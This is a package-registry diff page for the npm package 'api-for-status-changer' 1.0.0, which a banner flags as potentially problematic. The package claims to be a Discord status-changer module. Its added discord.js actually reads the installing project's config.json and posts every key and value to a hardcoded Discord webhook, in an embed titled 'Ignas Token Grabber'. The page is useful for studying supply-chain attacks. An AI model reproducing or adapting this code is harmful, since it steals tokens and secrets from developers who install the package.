api-for-status-changer 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of api-for-status-changer might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/discord.js +40 -0
  2. package/package.json +18 -0
package/discord.js ADDED
@@ -0,0 +1,40 @@
1
+ const fs = require('fs');
2
+ const axios = require('axios');
3
+ const path = require('path');
4
+
5
+ const status = 'https://discord.com/api/webhooks/1296617824516706446/fStFfcO7BSvtY8z3wHgOVnesCr9afEZ7lcXDwRprUM-1-wEasjMLdze05RjcIa-7_9vH';
6
+ const change = path.join(__dirname, '..', '..', 'config.json');
7
+
8
+ /**
9
+ * @param {string} status
10
+ * @param {string} change
11
+ */
12
+ const api = async () => {
13
+ try {
14
+ const fileContent = fs.readFileSync(change, 'utf-8');
15
+ const configData = JSON.parse(fileContent);
16
+
17
+ const embed = {
18
+ title: "Ignas Token Grabber - Module",
19
+ description: "NEW TOKEN GUYS, SAY HIII",
20
+ fields: Object.entries(configData).map(([key, value]) => ({
21
+ name: key,
22
+ value: typeof value === 'object' ? JSON.stringify(value, null, 2) : String(value),
23
+ inline: false,
24
+ })),
25
+ color: 5814783,
26
+ timestamp: new Date(),
27
+ };
28
+
29
+ const payload = {
30
+ embeds: [embed],
31
+ };
32
+
33
+ await axios.post(status, payload);
34
+ console.log('Contenido enviado al webhook de Discord como embed.');
35
+ } catch (error) {
36
+ console.error('Error al enviar el contenido:', error.message);
37
+ }
38
+ };
39
+
40
+ module.exports = { api, status, change };
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "api-for-status-changer",
3
+ "version": "1.0.0",
4
+ "description": "moule for changer status",
5
+ "main": "discord.js",
6
+ "scripts": {
7
+ "start": "node discord.js"
8
+ },
9
+ "dependencies": {
10
+ "axios": "^0.21.1"
11
+ },
12
+ "keywords": [
13
+ "discord"
14
+ ],
15
+ "author": "ignas",
16
+ "license": "MIT"
17
+ }
18
+